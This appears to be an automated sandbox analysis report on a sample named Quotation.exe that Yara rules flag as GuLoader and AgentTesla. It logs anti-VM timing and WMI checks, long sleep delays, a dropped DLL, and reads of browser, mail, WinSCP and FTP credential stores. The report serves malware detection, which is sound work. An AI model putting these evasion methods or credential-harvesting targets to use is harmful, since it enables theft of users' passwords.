Static file information: File size 1197176 > 1048576

Source: Quotation.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1962376405.00000000059AE000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Quotation.exe

Code function: 0_2_70022351 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70022351

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000D0C45 push ebx; retf	5_2_000D0C52
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000D0C53 push ebx; retf	5_2_000D0C52
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000D0CCB push edi; retf	5_2_000D0C7A
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_397976D8 push esp; iretd	5_2_397976E9

Source: C:\Users\user\Desktop\Quotation.exe

File created: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Quotation.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Quotation.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Quotation.exe	API/Special instruction interceptor: Address: 60786C4
Source: C:\Users\user\Desktop\Quotation.exe	API/Special instruction interceptor: Address: 2D286C4

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Quotation.exe	RDTSC instruction interceptor: First address: 60204E6 second address: 60204E6 instructions: 0x00000000 rdtsc 0x00000002 test ecx, edx 0x00000004 test cl, bl 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FAAD943249Ch 0x0000000a cmp al, bl 0x0000000c test cx, 9B3Ah 0x00000011 inc ebp 0x00000012 cmp cl, 00000062h 0x00000015 inc ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Quotation.exe	RDTSC instruction interceptor: First address: 2CD04E6 second address: 2CD04E6 instructions: 0x00000000 rdtsc 0x00000002 test ecx, edx 0x00000004 test cl, bl 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FAAD8CDDF0Ch 0x0000000a cmp al, bl 0x0000000c test cx, 9B3Ah 0x00000011 inc ebp 0x00000012 cmp cl, 00000062h 0x00000015 inc ebx 0x00000016 rdtsc

Source: C:\Users\user\Desktop\Quotation.exe	Memory allocated: D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Memory allocated: 36210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Memory allocated: 38210000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199781	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199672	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199563	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199454	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199329	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199219	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199094	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198985	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198860	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198735	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198610	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198485	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198360	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198235	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198110	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197985	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197860	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197735	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197610	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197488	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197360	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197235	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197076	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Window / User API: threadDelayed 1518			Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Window / User API: threadDelayed 8315			Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Quotation.exe

Evaded block: after key decision

graph_0-3127

Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 2688	Thread sleep count: 1518 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 2688	Thread sleep count: 8315 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99745s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99326s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99214s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -96922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199329s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1199094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1198110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197488s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 3128	Thread sleep time: -1197076s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004066F7 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_004066F7
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004065AD FindFirstFileW,FindClose,		0_2_004065AD

Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99874	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99745	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99326	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99214	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98672	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97140	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96922	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199781	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199672	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199563	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199454	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199329	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199219	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199094	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198985	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198860	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198735	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198610	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198485	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198360	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198235	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198110	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197985	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197860	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197735	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197610	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197488	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197360	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197235	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1197076	Jump to behavior

Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs (A

Source: C:\Users\user\Desktop\Quotation.exe

API call chain: ExitProcess graph end node

graph_0-3016

Source: C:\Users\user\Desktop\Quotation.exe

Code function: 0_2_0040154A PostQuitMessage,LdrInitializeThunk,Sleep,SetForegroundWindow,LdrInitializeThunk,ShowWindow,ShowWindow,ShowWindow,SetFileAttributesW,GetFileAttributesW,SetCurrentDirectoryW,MoveFileW,GetFullPathNameW,GetShortPathNameW,SearchPathW,lstrcatW,CompareFileTime,LdrInitializeThunk,SetFileTime,CloseHandle,lstrcatW,

0_2_0040154A

Source: C:\Users\user\Desktop\Quotation.exe

0_2_70022351

Source: C:\Users\user\Desktop\Quotation.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Users\user\Desktop\Quotation.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

0_2_004036DA

Source: C:\Users\user\Desktop\Quotation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Quotation.exe PID: 1212, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Quotation.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Quotation.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
